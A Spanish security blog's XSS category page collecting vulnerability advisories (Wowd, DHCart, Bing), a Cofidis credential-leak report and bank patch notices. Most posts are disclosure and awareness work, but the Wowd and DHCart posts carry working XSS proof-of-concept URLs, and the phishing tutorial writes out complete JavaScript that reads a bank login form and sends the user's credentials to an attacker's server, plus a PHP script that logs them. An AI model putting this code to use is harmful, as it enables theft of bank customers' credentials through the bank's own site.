Archivos para la Categoría 'XSS'

Wowd search client multiple variable XSS

##########################################
Wowd search client multiple variable XSS
URL afectada: http://www.wowd.com/
Avisado por: http://lostmon.blogspot.com/2009/10/wowd-search-client-multiple-variable.html
Notificación al vendedor: exploit disponible:
##########################################

################
¿Qué es Wowd?
################

Wowd es un motor de búsqueda que sirve para descubrir lo más popular de las webs en tiempo real.

En esencia, la compañía ha hecho un p2p como motor de búsqueda, por lo que otros usuarios Wowd que hay en línea pueden estudiar y usar sitios del ranking basada en una estructura de enlaces arcanos.

Teniendo una búsqueda y dividiéndola en millones de pequeñas piezas todas ellas dirigidas por los usuarios individuales que han descargado el cliente Wowd cambia completamente la operación – y la economía – del motor de búsqueda. Cuantas más veces clicken dentro de Wowd en un enlace dentro de un tiempo “x” el ranking será más alto ya que es mayor el vínculo.

##########################
Descripción de la vulnerabilidad
##########################

El cliente Wowd contiene un error que permite a ejecutar un codigo remoto cross site scripting (XSS). Este error existe porque la aplicación no es valida en el cuadro de diálogo URI ” SortBy ‘tags’ y ‘variables CTX’ en envio a script ‘index.html’. Esto podría permitir a un usuario crear especialmente un código a través de una dirección URL que ejecutaría arbitrariamente en el navegador de un usuario dentro de la relación de confianza entre el navegador y el servidor, esto produciría una pérdida de integridad.

Este problema puede ser peligroso, porque si se está ejecutando el cliente Wowd, usted tiene esta vulnerabilidad, porque este problema puede ser aprovechado en todos los navegadores, hasta en IE8 con el filtro anti-XSS (WoW!)

#################
Versiones
################·

Wowd client 1.3.0

#################
SOLUCIÓN
#################

No hay solución por el momento !!!

###################
PoC
###################

#############
Prueba
#############

Puedo probar en IE8, Firefox 3.5.3 y Safari 4

 

En todos los casos que el XSS se ejecuta incluso a IE8 con anti-XSS :D

un usuario remoto puede redactar un documento html con un iframe y esta fuente para el iframe:

http://localhost:8101/wowd/index.html?search&sortby=rank%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E

el navegador ejecuta el XSS, y se  accede directamente a esta dirección URL:

 

de forma adicional Wowd puede mostrar sus resultados, ya que tenemos una funcionalidad para agregar “etiquetas” a una dirección URL.

Ejemplo:

http://localhost:8101/wowd/index.html?search&query=a&
sortby=rank&tags=english|S0B0707656E676C6973680D02

Esto muestra una búsqueda indexada con la etiqueta ‘english’, se puede añadir una etiqueta diseñada por tí mismo que permita la ejecución de un XSS como: [tag]|[token]

ejemplo:

http://localhost:8101/wowd/index.html?search&query=a
&sortby=rank&tags=english|S0B0707656E676C6973680D02,
%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E|S0B0707656E676C6973680D02

y se ejecuta el XSS en las etiquetas de las etiquetas creadas

 

CTX se vé también variablemente afectado

http://localhost:8101/wowd/index.html?search&page=2&q=
&sortby=rank&tags=news|S0807046E6577730D02&ctx=1995393737681%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E

############## €nd ###################

Thnx To estrella to be my light
Thnx to all Lostmon Team !

atentamente:
Lostmon (lostmon@gmail.com)
——–
Browser: Internet Explorer 8 (Windows)
Browser: Firefox 3.5 (Windows)
Browser: Safari 4 (Windows)
———-

thz Lost ;-)

Cofidis.es pudo ver sus datos comprometidos

###########################################
Cofidis.es pudo ver sus datos comprometidos
Afectado: www.cofidis.es
Falla: cedenciales criticas al descubierto
###########################################

Cofidis es una empresa formada por varios grupos de crédito que agrupan diferentes servicios dentro del panorama de finanzas mundiales.

La definición según podemos leer en su web:

“Somos líderes europeos del crédito por teléfono: tenemos más de 8 millones de clientes. En España, Ya contamos con más de 15 años de experiencia y un equipo de más de 800 colaboradores.”

Cofidis.es pudo verse afectado por un fallo atraves del cual podrían terceras personas haber podido tener acceso
a datos de carácter personal, al haber dejado al descubierto las credenciales de acceso root al portal y así mismo al dejar al descubierto las credenciales de acceso a la base de datos del portal.

Para hacernos una idea de qué tipo de datos pueden haber sido vistos o “robados” por terceros, tan solo debemos mirar uno de los formularios de solicitud de crédito, y por los datos que se nos piden se puede saber qué tipo de datos podría contener la base de datos.

https://www.espaciocliente.cofidis.es/cofidis/preapprove/PreApproveContractDisplayAction.do

Esta noticia Llego a mí, después observar un post en Twitter en el cual se daba una url del portal Cofidis.es y el acceso
a un txt sin ningún tipo de protección, y el cual contenía las credenciales antes mencionadas.

Después de observar esta situación, y hablado con algunos de los miembros del grupo de discusión e investigación, decidimos mirar desde cuando podía haberse dado esta circunstancia y el posible origen de la noticia. Haciendo una búsqueda rápida en los motores de búsqueda habituales Llegamos a un Post en twitter del día 12-10-2009.

1

Y uno posterior del día 13-10-2009.

2

Y otro mas el dia 13-10-2009.

3

El día 14-10-2009 por la tarde el txt que contenía estascredenciales fue retirado del raíz del portal cofidis.es
Con lo cual se puede pensar que esos datos tan sensibles pudieron estar al alcance de todo el mundo durante al
menos tres días.

Google muestra en su cache, una imagen de dicho documento con fecha Del día 13-10-2009 mostrando las credenciales:

http://209.85.229.132/search?q=cache:nrpZAY7spqYJ:www.cofidis.es/cofidis.txt+http://www.cofidis.es/cofidis.txt&cd=8&hl=es&ct=clnk&gl=es

4

Pero esta sería la fecha en la cual google tomo esa instantánea de ese documento, pudiendo haber reemplazado a una anterior a eso, los logs del servidor de cofidis deberían mostrar cuando fue la primera vez que el spider de google pudo rastrear ese txt.

Así mismo si realizamos una búsqueda en google por el fichero txt entre los resultados primeros puede apreciarse que Google también revela esas credenciales faltaría saber cuando fue incluido en la Indexación ese archivo, para intentar averiguar desde que fecha se pudo haberse producido esta situación.

http://www.google.es/search?q=cofidis.txt

5

Como pudo Un administrador dejar deliberadamente un archivo con información tan sensible a la vista de cualquier visitante, se preguntara más de uno.

Seguramente el admin no sabía nada de la existencia de ese fichero, o eso creemos o queremos creer) Debió ser un hackeo , por el tipo de fichero generado y su disposición y los datos que contiene podría haberse tratado de algún agujero de seguridad en la web , a traves del cual el atacante hubiese podido incluir algún archivo externo
( esta vulnerabilidad es conocida como RFI (o remote file include) pues hay algunos scripts de los que corren por la red, que justamente hacen eso y mirando su fuente se puede observar que justamente sacan esos datos de la maquina o inyectan una Shell en php.

Creo que cofidis debería dar explicaciones de este hecho y así mismo debería verse como le afecta este acontecimiento a cofidis, ante la LOPD y que datos han sido comprometidos, no por mi porque por suerte yo no me encuentro en su base de datos que yo sepa, pues nunca necesite sus servicios.

Desde el grupo de investigación y desarrollo de Lostmon’s Groups queremos hacer un llamamiento a que las empresas como cofidis y otras que trabajan con datos personales tan sensibles y de tanta confidencialidad, deberían invertir parte de sus beneficios en asegurar que esos datos no estarán accesibles y deberían hacer lo posible por protegerlos como se les pide en la LOPD.

Bien es cierto que en seguridad, no hay nada seguro, o que lo bonito de la seguridad es la inseguridad que trae por si
misma. Y bien es cierto que por mucho que los administradores pongan énfasis y empeño en asegurar servicios y sistemas, siempre hay gente, que va por delante de ellos.

Este analisis ha sido realizado por cLimbo y por Lostmon

thank to all Lostmon groups team
Thnx to estrella to be my ligth

atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)

La curiosidad es lo que hace mover la mente….

Bing.com WebmasterAuthenticationInformationPage.aspx XSS

###########################################
Bing.com WebmasterAuthenticationInformationPage.aspx XSS
URL del vendedor: http://ww.bing.com
Reportado: http://lostmon.blogspot.com/2009/08/bingcom-webmasterauthenticationinformat.html
Vendedor avisado: Sí Confirmación vendedor: Sí
###########################################

El motor de búsqueda Bing, contiene un error que permite ataques cross site scripting.
Este defecto existe porque la solicitud no valida correctamente la variable ‘authTag para la presentación de ‘WebmasterAuthenticationInformationPage.aspx’ podría script. Esto permite a un usuario crear una URL especialmente preparada para ejecutar código arbitrario en el navegador de un usuario dentro de la relación de confianza entre el navegador y el servidor, lo que lleva a una pérdida de integridad.

OyQTAItMeV

Un atacante puede componer un enlace incorrecto en la variable ‘WebmasterAuthenticationInformationPage.aspx’ y el consiguiente código, es escribir en dos cajas y en el ‘LiveSearchSiteAuth.xml’.

Un usuario remoto puede redactar un enlace incorrecto en la variable de ‘ WebmasterXMLAuthDownloadPage.aspx’, para descargar ‘LiveSearchSiteAuth.xml’ => es éste el archivo que contiene el código malicioso.

#########
solución:
##########

Que el vendedor cree un parche

#############
Cronología:
#############

Descubierto: 18-junio-2009
notificado al vendedor: 07-08-2009
proveedores de respuesta: 07-08-2009
vendedor respuesta sobre parche: 13-08-2009
publicado: 13-08-2009

################ End #####################

Thnx to Microsoft Security Response Center (MSRC)
http://blogs.technet.com/msrc/
thnx to estrella to be my ligth
thnx to all who day after day support me !!!

atentamente:
Lostmon (lostmon@gmail.com)
—-

thz Lost ;-)

Vulnerabilidad en Apache ODE

ODE_logo_v6-1Una nueva vulnerabilidad ha sido reportada en Apache ODE en la pagina de seguridad informática Secunia, que puede ser potencialmente explotada para revelar información sensible o manipular determinados archivos.

La vulnerabilidad es causada debido a un error de validación de entrada en el proceso de despliegue de servicios web en el tratamiento de mensajes.

Esto puede ser explotado para crear, sobreescribir o eliminar archivos en el servidor mediante el uso de un camino transversal que contiene las secuencias de directorio para el nombre.

+info: http://secunia.com/advisories/36249/

Vía | RetroNet

Caja Granada ha parcheado su web

#######################################
Caja Granada ha parcheado su web
URL:http://caja.caja-granada.es/
#######################################

La web de La entidad bancaria Caja granada bajo uno de sus diferentes dominios,se vio afectada por una serie
de errores de validacion de tipo Cross-site scripting (XSS) y de tipo (CSRF)

Estas vulnerabilidades fueron descubiertas y estudiadas por mi hasta descubrir las vulnerabilidades o vectores de ataque, en la parte externa de la web;es decir en la parte no autentificada de la web.

Las vulnerabilidades fueron reportados al equipo de seguridad logica de La entidad, y al servicio de atencion al cliente,
despues del intercambio de unos mails, ha quedado parcheada la parte mas critica de estas vulnerabilidades, la cual
permitia la inclusion de todo un sitio web bajo un frame sobre el dominio principal de la entidad.

cajagranadacia

Caja Granada vuelve a ser segura en esos puntos reportados.

Ningun cliente de Caja granada pudo verse afectado , ya que las comunicaciones se produjeron con absoluta discreccion por ambas partes.

En el caso de la inclusion del sitio, ademas de haber sido corregido , se nos muestra un mensaje advirtiendonos de si de verdad hemos accedido a esa url atraves del dominio de Caja Granada.

cajagranada

No se da ninguna prueba de concepto por motivos evidentes.

Continuar leyendo ‘Caja Granada ha parcheado su web’

Entidades bancarias españolas ante el phishing II

#######################################
Entidades bancarias españolas ante el phishing II
#######################################

Este articulo es una segunda parte de este otro:

La banca española ante el phishing

Despues del estudio realizado sobre el estado
de la banca española ante el phishing,me gustaria
decir como ha sido la relacion y que ha pasado
despues de ese articulo.

Se ha intentando notificar a las entidades afectadas
Los problemas encontrados en sus webs , atraves de los
cuales atacantes remotos podrian intentar lanzar ataques
de phishing sobre las mimas webs de estas entidades.

Para la decepcion general,ha sido una minoria de las
entidades afectadas las que han contentado o se han
interesado por saber algunoslos posibles puntos flacos
de sus webs.

No se les ha pedido nada mas que parchearan sus webs
y se les ha ofrecido ayuda y orientacion ,asi como
el reporte de todos las vulnerabilidades encontradas,
y siendo todo esto ofrecido sin ningun animo de lucro.

En vista del poco interes prestado, lo mas logico es
poner una señal de stop y hacer una reflexion seria
sobre si tan seguros son los servicios que nos ofrecen
como se empeñan en mostrarnos en sellos y sellos de calidad
y garantia.

Casi todos suelen escudarse en que por falta de tiempo se
sacan a produccion partes o proyectos que no han sido aun
bien probados o testeados a fondo….

No deberian Antes de hacer eso , testear y retestear , para
no poner en peligro otras partes dela web?.

No revelo las vulnerabilidades por motivos obvios
pero entre ellas se haya una muy grave la cual
la entidad afetada deberia correjir cuanto antes;
pues permite la inclusion de todo un sitio web
bajo un frame en su dominio, las demas son agujeros
xss y sql injection , asi como algun escape de
informacion suficiente para lanzar un aatque de tipo
ingenieria social.

Me dejo dos en el tintero que son las que parecen
dispuestas aparchear y merecen su tiempo para ello
al menos por el interes prestado.

Las entidades afectadas son:

Continuar leyendo ‘Entidades bancarias españolas ante el phishing II’

La banca española ante el phishing

##########################################
La banca española ante el phishing
##########################################

Despues del aumento reciente de los casos de phishing sobre
entidades Bancarias españolas, he realizado un pequeño estudio
sobre el estado de esas entidades, de cara al phishing.

Entendemos por phishing , el envio de correos fraudulentos
suplantando la identidad de una entidad bancaria, en el cual se
nos avisa de algun fallo de seguridad u otra informacion, y se
nos insta a visitar una url falsa de la entidad (normalmente
camuflan la direccion real),y una vez visitada, se nos pedira
seguramente , nuestras credenciales para acceder,y de hacerlo,
normalmente esas webs estan preparadas para capturar nuestros
datos de acceso.

Todo esto esta bastante bien explicado aqui :
http://www.microsoft.com/latam/seguridad/hogar/spam/phishing.mspx

Una vez entendido el concepto de phishing, podemos pensar,que
hay que ser muy tonto, para visitar una web que no es la original
del banco y meter , nuestras credenciales.

Normalmente es asi , pero que ocurre si esa url desde donde se
lleva a cabo el ataque de phishing es realmente la original del banco?

En una mirada asi por encima se han detectado once entidades
españolas tanto cajas como bancos afectados.

Si desea saber si su entidad esta afectada, mandeme un mail
y gustosamente le informaremos de si esta usted en el listado
y de estar en el , le serian reportadas las vulnerabilidades
encontradas y su posible solucion o mitigacion.

De todas maneras todas las entidades afectadas,recibiran un mail
avisandoles de esta situacion( a algunas ya se le ha enviado).

Pero esto es irse por las ramas y no destapar el meollo de la
cuestion.. XDDDD

Asi pues si ponemos por caso que la mayoria de web corporativas
de entidades bancarias y financieras son vulnerables a ataques de
tipo XSS o CSRF(links a la wiki), esto aumenta la posibilidad de
realizar ataques de phishing sobre la misma web del banco y hacer
asi mas creibles para los usuarios incautos el engaño.

Como puede un atacante que haya encontrado un agujero de ese
tipo llevar a cabo con exito ese ataque?

Lo expuesto acontinuacion esta escrito a titulo de muestra o
ejemplo no me hago responsable del uso que le puedan dar
usuarios malintencionados.

Esto esta mas bien expuesto como ejemplo para administradores
y webmasters a titulo explicativo de como un atacante puede
realizar este tipo de ataques sobre la misma web y hacer asi
mas creible el engaño.
Un server (seguramente comprometido) para recojer los datos y
hostear los archivos necesarios para el phishing (javascripts).
Algun servidor SMTP con el relay abierto y sin autentificacion
Por si queremos hacer uso de funciones de mail()

En un banco, en la web de autentificacion , normalmente
encontramos un formulario en el cual se nos piden los datos
para poder acceder al manejo de cuentas y demas.

Un ejemplo de formulario podria ser similar a este:

====================

====================
[..]

User:

Pass:

[..]

si observamos el codigo vemos varios elementos:

- Hay un formulario de acceso llamado “loginusuarios”
- El usuario de texto será “loginusuarios.usuari”
- El paso de texto será “loginusuarios.pass”

Por lo tanto,podriamos crear un java a medida para el sitio
para que añadiera un iframe oculto al cuerpo del documento por
medio de xss y obtener asi los datos introducidos.

Un ejemplo podria ser este:

http://[Entidad_victima]/login.php?variable_vulnerable=
“>

o en alguna de sus codificaciones para disimularlo aun mas:

http://[Entidad Victima]/login.php?variable_vulnerable=%22%3E
%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%
5B%41%74%74%61%63%6B%65%72%5D%2F%70%68%69%73%68%69%6E%67%2E%

6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E

El javascript, se ejecutaria en el contexto de seguridad entre
el server, y el navegador del usuario lejitimo de la web.

====================
/* phishing.js */
===================

//Ponemos el nombre del formulario
Form = document.forms["loginusuarios"];

function OcultarLogin() {
// Creamos un nuevo iframe.
var iframe = document.createElement(“iframe”);

// Forzamos al iframe a que este escondido
iframe.style.display = “none”;

// Cargamos el codigo malicioso en el iframe.
iframe.src = “http://[atacante]/pilla_login.php?user=”
+ Form.usuari.value + “&pass=” + Form.pass.value;

// Añadimos el iframe en el cuerpo del documento
document.body.appendChild(iframe);
}
// Cuando el usuario clica en enviar, se nos envia esa inf.
Form.onsubmit = OcultarLogin();

/* EOF */
==========================

Despues necesitamos que esos datos sean recojidos, y para
ello necesitaremos un server donde llevar los POST y un
archivo hosteado preparado para recibirlos y guardarlos o
enviarlos por mail ,como queramos.

====================
/* pilla_login.php */
====================

if(isset($_GET['user']) && isset($_GET['pass'])) {
// Establece el path y abre el archivo logins.txt
$file_path = “logins.txt”;
$file = @fopen($file_path, “a”);
// genera la cadena
$string = “User: “. $_GET['user'] .” and Pass: “. $_GET['pass'] . “\n”;
// Escribe la cadena y cierra el archivo.
@fwrite($file, $string);
@fclose($file);
}

// si ademas queremos enviar los datos capturados por mail =>
// mail(“atacante@atacante.es”,”Otro Pardillo pico”,”$string”);
?>
/* EOF */
=================================

Con lo cual un agujero bien simple como puede ser un
XSS puede convertirse en un ataque sofisticado para
realizar un phishing directo a una entidad Bancaria.

Aun podriamos rizar mas el rizo:

Suponiendo que el usuario victima ,no visite la web, o que
cliquee en otro lado y vaya a otra pagina diferente de donde
se encuentra el formulario de login,podriamos “forzarlo” a
ir a la pagina delogin primero,y antes de que realice ninguna
accion, deba introducir primero los datos de login , para
poder acceder.

Esto seria tambien aun mas creible ya que estariamos efectuando
el phishing directamente desde la web de la entidad y ademas
obligamos al user a hacer login con su propio formulario
de login.

Si modificamos el javascript anterior para que haga lo mismo;
pero que ademas fuerce al usuario,creariamos un segundo iframe.
en un iframe cargaremos el codigo malicioso , y en el otro
cargariamos el formulario de login de la web:

=================================
/* phishing2.js */

Form = document.forms["loginusuarios"];
function forzarLogin() {
var loginiframe = document.createElement(“iframe”);
var loginiframe.src = “http://[Entidad-victima]/login.php”;
document.body.appendChild(loginiframe);
}
function OcultarLogin() {
var iframe = document.createElement(“iframe”);
iframe.style.display = “none”;
iframe.src = “http://[Atacante]/pilla_login.php?user=”
+ Form.usuari.value + “&pass=” + Form.pass.value;
document.body.appendChild(iframe);
}
window.onload = forzarLogin();
Form.onsubmit = OcultarLogin();

/* EOF */
====================================

Aunque todo lo aqui expuesto es un burdo ejemplo,creo que
queda bien reflejado el alcance y que el resultado, es obvio,
aunque en muchos contratos de banca online , se “firma” que
el usuario no hara un mal uso de las credenciales suministradas
…etc.

Ante un ataque real de phishing…el usuario victima,ni se
habra enterado de lo que ha pasado , ya que en si ha sido
el el que legalmente ha introducido sus credenciales en la
web de la entidad y ha sido desde la web misma de la entidad
desde donde han sido robadas esas claves.

Seguramente los webmasters y programadores de los sitios web
de estas caracteristicas, deberian fijarse mas en este tipo
de agujeros a los cuales no se les da mucha importancia.

Muchas veces , Contratan servicios o sistemas ya prediseñados
como pueden ser alguno de los portales de oracle o algun tipo
de CMS como Vignette CMS;Pero ¿No son resposables los equipos
de seguridad logica que poseen las entidades o que subcontratan?
No deberian esos equipos estar al dia en vulnerabilidades sobre
sus sistemas??

La primera medida para poder luchar contra la plaga que
es el phishing deberia ser mantener nuestros sitios libres
de agujeros o al menos revisarlos y no sacar al mercado ,
nada que no haya sido antees testeado a fondo, Pues es
nuestro dinero con el que en se juega.

Despues de este estudio, dire, que me he quedado muy
decepcionado de lo que es la banca online española,
actualmente, son bastantes las entidades que podrian
estar afectadas.

Los usuarios podrian prevenir estas situaciones usando por
ejemplo Internet explorer 8 que lleva un filtro antiXSS,
aunque personalmente me fio mas de la barra de netcraft,
ademas de que puede ser usada en explorer y en firefox
http://toolbar.netcraft.com/

###############################
Enlaces Relacionados y fuentes:
###############################

http://www.siliconnews.es/es/news/2008/09/22/bancos_espanoles_victimas_5_phishing_mundial
http://www.antiphishing.org
http://www.playhack.net/papers/
http://www.microsoft.com/spain/empresas/legal/phishing.mspx
http://www.microsoft.com/latam/seguridad/hogar/spam/phishing.mspx
http://seguridad.internautas.org/html/4428.html

atentamente:
Lostmon (Lostmon@gmail.com)

—-

thz Lostmon :-)

+info: http://lostmon.blogspot.com/

¡ Feliz 2009 !

champagne

Feliz Año Nuevo | Feliz Aninovo | Urte Berry On | Happy New Year |
Frohes Neues Jahr | Feliç Any Nou | Buon anno | С новым годом

CaixaPenedes parchea su Banca Online

#######################################
CaixaPenedes Pachea su Banca Online
url afectada: http://www.caixapenedes.com
Articulo original:http://lostmon.blogspot.com/
2008/11/caixapenedes-pachea-su-banca-online.html
#######################################

La web de Caixapenedes bajo sus diferentes dominios,
se vio afectada por una serie de errores de saludación
de tipo Cross-site scripting.

Las vulnerabilidades fueron reportadas en dos fases:

En la primera se reporto, lo que se considero mas grave,
que en si era la posibilidad de poder realizar transacciones
como transferencias, sin necesidad de la tarjeta llave,
aun sin estar activada esta,el bug también funcionaba.

Esta vulnerabilidad fue descubierta por FalconDeOro y estudiada
por el y por mi hasta descubrir el como y donde funcionaba.

En la segunda fase fueron localizadas por mi unas veinte
vulnerabilidades o vectores de ataque, en la parte externa
de la web;es decir en la parte no autentificada de la web;
pero bajo el protocolo seguro https.

Las vulnerabilidades eran de tipo Cross-Site Scripting (XSS).
Dichos agujeros ,fueron reportados al equipo de seguridad logica
de caixapenedes, y al servicio de atencion al cliente,
telefonicamente y vía email, respectivamente.

caixapenedes

Descubiertas en julio del 2008
contacto inicial el 13 agosto del 2008
Pacheo completo aproximado el 20 de septiembre del 2008
hecho publico el 10 de noviembre del 2008

el primer bug no puedo decir exactamente cuando fue descubierto y
cuando fue reportado , pues todo fue telefonicamente y no tengo ninguna
fecha de referencia , pero si que es anterior a los segundos
Y que una convención de ambos podría haber sido aprovechada
por los Phishers, aunque durante el periodo de tiempo ,
que pudieron durar estas ediciones de seguridad ningún usuario/cliente
pudo verse afectado ya que todo fue reportado con la mayor discreción
posible,por ambas partes.

No se da ninguna prueba de cocepto por motivos evidentes.

Aun queda un agujero XSS pero creo que con casi tres meses de tiempo
debía haber sido tiempo suficiente para ser parcheado.

########################### €nd ################################

Thnx to estrella to be my ligth
Thnx To FalconDeOro for his support
Thnx To Imydes From http://www.imydes.com

atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)

Gracias Lostmon :-P

DHCart, múltiples variables XSS y almacenados XSS

###########################################
DHCart múltiples variable XSS y almacenados XSS
URL Oficial: http://www.dhcart.com/
Aviso:
proveedor notificado: Explotar SÍ: Revisado: SÍ
###########################################

DHCart es una aplicación basada en PHP que proporciona la utilización del carrito de la compra para los usuarios, por ej: compra dominios y servicios de alojamiento.

DHCart demuestra ser vulnerable a Cross Site Scripting y los almacenados de cross-site scripting.

ver este PoC

http://Victim/order.php?dhaction=check&submit_domain=
Register&domain=%22%3E%3Cscript%3Ealert%28%29%3C%2F
script%3E&ext1=on

o

http://Victim/order.php?dhaction=add&d1=lalalalasss
%22%3E%3Cscript%3Ealert(1)%3C/script%3E&x1=.com&r1=
0&h1=1&addtocart1=on&n=3

en este caso, el XSS es explotable a través de la URL, estando almacenado
en el carro, cuando los usuarios van a buscar a su carrito, el XSS se ejecuta de nuevo (XSS almacenados)

Código vulnerable:

arround line 93 in config.php file we found:

if (!empty($HTTP_GET_VARS)) while(list($name, $value) = each($HTTP_GET_VARS)) $$name = $value;

este es vulnerable porque el valor $ es devuelto a los usuarios sin desinfectar.

Lo tengo plenamente parcheado … hay que agregar una función para filtrar las variables y aplicar este filtro de valor en $value.

Continuar leyendo ‘DHCart, múltiples variables XSS y almacenados XSS’

Entradas siguientes »


Blog Stats

  • 308,292 visitas

RSS

Feed

 

Noviembre 2009
L M X J V S D
« Oct    
 1
2345678
9101112131415
16171819202122
23242526272829
30  

Usuarios online:

counter

Otras URL’s

milw0rm

Foro ElHacker.net

Lostmon Blog

Difunde Firefox

Ayuda-Webmasters

XSSed

Sistemas Ruleta

Mundoinicio

Directorio Xanky.com

TiraEcol

Tira Ecol
BlogESfera Directorio de Blogs Hispanos - Agrega tu Blog
Google PageRank 
		Checker